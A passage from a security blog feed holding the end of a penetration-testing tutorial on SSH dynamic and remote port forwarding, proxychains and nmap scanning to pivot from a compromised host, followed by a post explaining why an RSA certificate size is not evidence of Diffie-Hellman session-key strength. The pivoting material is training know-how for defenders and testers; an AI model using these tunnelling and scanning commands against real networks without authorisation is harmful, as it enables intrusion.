class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>3. SSH Dynamic Port Forwarding (<code>-D</code>) - the SOCKS proxy</h2><p><strong>Mental model:</strong> Same direction as local forwarding (client listens, server routes), but instead of hardcoding one destination, you get a full SOCKS proxy. Anything the SSH server can route to, you can now reach.</p><pre><code><code>ssh -N -D 0.0.0.0:9999 svc_admin@10.10.20.30</code></code></pre><p>Point <code>proxychains</code> at it (<code>/etc/proxychains4.conf</code>):</p><pre><code><code>[ProxyList]
socks5 192.168.60.50 9999</code></code></pre><p>Then run any tool through the tunnel, and traffic will be routed as addressed.</p><pre><code><code>proxychains nmap -sT --top-ports=20 -Pn -n 172.20.10.40</code></code></pre><blockquote><p>Drop the <code>tcp_read_time_out</code> / <code>tcp_connect_time_out</code> values in proxychains&#8217; config if scans feel painfully slow; the defaults are tuned for Tor, not internal pivoting.</p></blockquote><p><strong>When to use it:</strong> you don&#8217;t know the full target list yet, or you need to reach several hosts/ports beyond the pivot without opening a new forward for each one.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZNRd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZNRd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 424w, https://substackcdn.com/image/fetch/$s_!ZNRd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 848w, https://substackcdn.com/image/fetch/$s_!ZNRd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 1272w, https://substackcdn.com/image/fetch/$s_!ZNRd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZNRd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png" width="735" height="281" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/34c082d7-3120-44b4-881a-8185256de6b3_735x281.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:281,&quot;width&quot;:735,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:57868,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.emdeh.com/i/208162860?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZNRd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 424w, https://substackcdn.com/image/fetch/$s_!ZNRd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 848w, https://substackcdn.com/image/fetch/$s_!ZNRd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 1272w, https://substackcdn.com/image/fetch/$s_!ZNRd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34c082d7-3120-44b4-881a-8185256de6b3_735x281.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>4. SSH Remote Port Forwarding (<code>-R</code>)</h2><p><strong>Mental model:</strong> This flips the listener to the <em>other side</em>. &#8220;I am the <strong>SSH client</strong>, but I want the <strong>SSH server</strong> to open the door, and I (the client) will do the forwarding back to something only I can reach.&#8221;</p><p>This is the pivot equivalent of a reverse shell and is useful when the compromised host can reach out, but nothing can reach in.</p><pre><code><code>ssh -N -R [BIND_IP:]LISTEN_PORT:DEST_IP:DEST_PORT user@SSH_SERVER_YOU_CONTROL</code></code></pre><p>Say your foothold is on <strong>JUMPBOX01</strong>, and <strong>JUMPBOX01</strong> can dial out to your Kali box (192.168.120.5), which is running <code>sshd</code>. From <strong>JUMPBOX01</strong> (acting as SSH <em>client</em> here):</p><pre><code><code>ssh -N -R 127.0.0.1:2345:10.10.20.30:5432 kali@192.168.120.5</code></code></pre><ul><li><p>Listener: port 2345, bound on <strong>Kali</strong> (the SSH server in this exchange) &#8212; loopback.</p></li><li><p>Forwarder: the SSH client software running on <strong>JUMPBOX01</strong>.</p></li><li><p>Destination: <strong>DBHOST02:5432</strong>, reachable from <strong>JUMPBOX01</strong>.</p></li></ul><p>The part that sometimes trips me up is even though <em>you</em> set this up from <strong>JUMPBOX01</strong>, the port you actually connect to afterwards is on <strong>your own Kali box</strong>, not <strong>JUMPBOX01</strong>. The whole point of &#8220;remote&#8221; forwarding is the listener lives remotely, relative to where you typed the command.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1Nhr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1Nhr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 424w, https://substackcdn.com/image/fetch/$s_!1Nhr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 848w, https://substackcdn.com/image/fetch/$s_!1Nhr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 1272w, https://substackcdn.com/image/fetch/$s_!1Nhr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1Nhr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png" width="757" height="286" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:286,&quot;width&quot;:757,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:45801,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.emdeh.com/i/208162860?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1Nhr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 424w, https://substackcdn.com/image/fetch/$s_!1Nhr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 848w, https://substackcdn.com/image/fetch/$s_!1Nhr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 1272w, https://substackcdn.com/image/fetch/$s_!1Nhr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c004f50-6a0c-4bd0-b311-839441e8f69d_757x286.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>5. SSH Remote Dynamic Port Forwarding</h2><p>Same flip as above, but SOCKS-flavoured instead of one fixed destination. Only needs one thing: the port to bind on the SSH server:</p><pre><code><code>ssh -N -R 9998 kali@192.168.120.5</code></code></pre><p>Update <code>/etc/proxychains4.conf</code>:</p><pre><code><code>socks5 127.0.0.1 9998</code></code></pre><p>Now, from Kali, <code>proxychains nmap</code> or any other tool can reach anything <strong>JUMPBOX01</strong> can route to without needing to know the destinations in advance:</p><pre><code><code>proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.10.20.30</code></code></pre><p><strong>When to use it:</strong> You&#8217;re pivoting <em>deeper</em> through a host that can only reach you outbound, and you don&#8217;t yet know the full internal target list.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!R37B!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!R37B!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 424w, https://substackcdn.com/image/fetch/$s_!R37B!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 848w, https://substackcdn.com/image/fetch/$s_!R37B!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 1272w, https://substackcdn.com/image/fetch/$s_!R37B!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!R37B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png" width="758" height="284" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:284,&quot;width&quot;:758,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:49080,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.emdeh.com/i/208162860?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!R37B!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 424w, https://substackcdn.com/image/fetch/$s_!R37B!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 848w, https://substackcdn.com/image/fetch/$s_!R37B!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 1272w, https://substackcdn.com/image/fetch/$s_!R37B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbfdab6a1-8c65-44ca-b74e-235e8a1cd0d3_758x284.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><p>The fastest way to stop second-guessing syntax mid-engagement: before typing anything, say out loud &#8220;the listener is on ___, and it forwards to ___.&#8221; If you can&#8217;t fill in both blanks confidently, you&#8217;re not ready to type the command yet.</p>]]></content:encoded></item><item><title><![CDATA[The 2048-bit key that wasn't]]></title><description><![CDATA[Mistaking one 2048-bit number for another.]]></description><link>https://www.emdeh.com/p/the-2048-bit-key-that-wasnt</link><guid isPermaLink="false">https://www.emdeh.com/p/the-2048-bit-key-that-wasnt</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Tue, 21 Jul 2026 11:26:48 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b640c922-e4fc-4c8d-a1ef-22b18f1e53bf_2760x1640.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Recently, I was reviewing evidence for a control assessment. The control in question was ISM-0472:</p><blockquote><p><em>When using DH for agreeing on encryption session keys, a modulus of at least 2048 bits is used, preferably 3072 bits.</em></p></blockquote><p>The evidence I&#8217;d been handed was a screenshot of a server&#8217;s TLS certificate, showing a 2048-bit RSA public key, similar to the one below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!E0Tq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!E0Tq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 424w, https://substackcdn.com/image/fetch/$s_!E0Tq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 848w, https://substackcdn.com/image/fetch/$s_!E0Tq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 1272w, https://substackcdn.com/image/fetch/$s_!E0Tq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!E0Tq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png" width="545" height="567" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:567,&quot;width&quot;:545,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:58957,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.emdeh.com/i/207419085?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!E0Tq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 424w, https://substackcdn.com/image/fetch/$s_!E0Tq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 848w, https://substackcdn.com/image/fetch/$s_!E0Tq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 1272w, https://substackcdn.com/image/fetch/$s_!E0Tq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b904fff-2366-4c63-98b0-5952cddbffe8_545x567.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At first glance it might look right, but it wasn&#8217;t evidence for ISM-0472 at all. Both things involve the word &#8220;modulus&#8221; and the number 2048, which is why this mix-up is so easy to make until you&#8217;ve sat down and pulled the two apart. So let&#8217;s pull them apart.</p><h2>Two different jobs, two different keys</h2><p>A TLS handshake actually needs to do two separate jobs:</p><p>1. <strong>Prove identity.</strong> The server needs to convince you it really is who it says it is. This is what the TLS certificate, like the screenshot above, is for. It contains a public key (often RSA, sometimes EC) that the server uses to sign parts of the handshake, proving it holds the matching private key.</p><p>2. <strong>Agree on a session key.</strong> Separately, the client and server need to agree on a fresh secret to encrypt the actual traffic for the session. If they&#8217;re using Diffie-Hellman (DH) to do this, that process involves its own key material, also known as a &#8220;temp key&#8221; or ephemeral key. Crucially, this has nothing to do with the certificate.</p><p>These are two different keys, generated for two different purposes. Importantly, <strong>there is no relationship between their sizes</strong>. A server can hand you a 4096-bit certificate for authentication and still negotiate a 1024-bit DH group for the session key. </p><p>That mismatch is, in fact, close to the basis of a real vulnerability class (<a href="https://nvd.nist.gov/vuln/detail/CVE-2015-4000">Logjam, 2015</a>), where servers supporting legacy export-grade DHE ciphers could be forced down to a 512-bit DH group, and where widespread reuse of the same standard primes meant one precomputation could compromise many servers at once. A strong certificate never told you any of that.</p><p>So the screenshot showed the RSA modulus of the certificate&#8217;s public key. Good evidence of authentication strength, but ISM-0472 is asking about the modulus used to derive the <em><strong>session key</strong></em>. In other words, the key used to encrypt the session traffic between the server and the client. Same word, same number, completely different thing. The evidence didn&#8217;t touch the control it was meant to support.</p><h2>What &#8220;modulus&#8221; actually refers to in each case</h2><p>It&#8217;s worth being precise here about what the term &#8220;modulus&#8221; actually means.</p><ul><li><p><strong>Certificate / RSA modulus:</strong> this is the large number <em>n</em> that forms part of an RSA public key (<em>n</em> = <em>p</em> &#215; <em>q</em>, two large primes). Its bit-length is what people mean when they say &#8220;2048-bit certificate&#8221; or &#8220;2048-bit key.&#8221; It&#8217;s baked into the cert and doesn&#8217;t change per session.</p></li><li><p><strong>DH modulus:</strong> this is the large prime <em>p</em> that defines the finite field the Diffie-Hellman exchange operates over. When DH is ephemeral (DHE), this prime is chosen or negotiated fresh, often for each session, and it's this value, not anything in the certificate, that ISM-0472 is actually asking about.</p></li></ul><h2>Seeing the difference yourself</h2><p>The cleanest way to internalise this is to force a handshake and look at both values side by side. You&#8217;ll need a Linux box with OpenSSL to follow along. This is entirely self-contained, so no need to go hunting for a public server that still does classic DHE (more on why that&#8217;s hard, shortly).</p><p>1. Generate a cert and a DH group, then start a test server:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;0ad833a5-bce0-4fd7-b8e5-f5fbd4768457&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash"># The following command generates a self-signed cert with a 2048-bit RSA key.
# This is the &#8220;authentication&#8221; key.
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 7 -nodes -subj "/CN=test"

